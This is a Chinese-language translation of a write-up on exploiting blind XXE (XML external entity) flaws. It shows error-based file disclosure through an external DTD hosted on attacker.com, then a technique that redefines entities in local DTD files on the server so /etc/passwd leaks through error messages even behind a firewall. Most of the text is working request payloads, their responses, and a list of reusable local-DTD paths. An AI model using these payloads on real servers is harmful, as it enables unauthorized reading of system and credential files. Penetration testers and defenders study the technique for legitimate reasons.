这一小技巧可以让你的XXE盲注输出任何你想要的东西!anything!
想象你有一个XXE的漏洞环境,外部实体已经被支持了但是服务端的响应是空的。
在这种情况下你有两个选择: 基于报错的利用和out-of-band利用;
首先考虑一下报错的例子:
Request <?xml version="1.0" ?> <!DOCTYPE message [ <!ENTITY % ext SYSTEM "http://attacker.com/ext.dtd"> %ext; ]> <message></message> Response java.io.FileNotFoundException: /nonexistent/ root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/usr/bin/nologin daemon:x:2:2:daemon:/:/usr/bin/nologin (No such file or directory)
外部ext.dtd的内容是:
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error;
看到没? 你在用外部的服务来作为payload进行漏洞的利用,但是如果在你和目标站点之间有防火墙呢,你还能干啥?啥也干不了!
但是如果我们仅把外部的DTD内容直接放在DOCTYPE内部呢?这种情况下总会抛出一些错误
Request <?xml version="1.0" ?> <!DOCTYPE message [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; ]> <message></message> Response Internal Error: SAX Parser Error. Detail: The parameter entity reference “%file;” cannot occur within markup in the internal subset of the DTD.
emmm,来自外部的DTD文件允许我们包含一个实体对象,但是在内部DTD中它是被禁止的。
想要在内部DTD的子集中使用外部DTD的语法,可以爆破一下目标主机上的本地DTD文件,然后重新定义一些实体参数来引用,举个栗子
Request <?xml version="1.0" ?> <!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd"> <!ENTITY % condition 'aaa)> <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; <!ELEMENT aa (bb'> %local_dtd; ]> <message>any text</message> Response java.io.FileNotFoundException: /nonexistent/ root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/usr/bin/nologin daemon:x:2:2:daemon:/:/usr/bin/nologin (No such file or directory)
sip-app_1_0.dtd的内容如下:
… <!ENTITY % condition "and | or | not | equal | contains | exists | subdomain-of"> <!ELEMENT pattern (%condition;)> …
这个方法能成功是因为所有的XML实体没变,如果你用同一个变量定义了两个实体对象,仅第一个可以利用
没有什么比枚举文件和目录更简单的了;下面是我们在这个技巧上利用成功的一些例子:
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamsa 'Your DTD code'> %local_dtd;
<!ENTITY % local_dtd SYSTEM "file:///C:WindowsSystem32wbemxmlcim20.dtd"> <!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'> %local_dtd;
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd"> <!ENTITY % url.attribute.set '>Your DTD code<!ENTITY test "test"'> %local_dtd;
<!ENTITY % local_dtd SYSTEM "jar:file:///opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd"> <!ENTITY % Body '>Your DTD code<!ENTITY test "test"'> %local_dtd;
<!ENTITY % local_dtd SYSTEM "./../../properties/schemas/j2ee/XMLSchema.dtd"> <!ENTITY % xs-datatypes 'Your DTD code'> <!ENTITY % simpleType "a"> <!ENTITY % restriction "b"> <!ENTITY % boolean "(c)"> <!ENTITY % URIref "CDATA"> <!ENTITY % XPathExpr "CDATA"> <!ENTITY % QName "NMTOKEN"> <!ENTITY % NCName "NMTOKEN"> <!ENTITY % nonNegativeInteger "NMTOKEN"> %local_dtd;
01/01/2016 — 发现这个技巧
12/12/2018 — 写文章:D
13/12/2018 — 公布出来
16/12/2018 — 翻译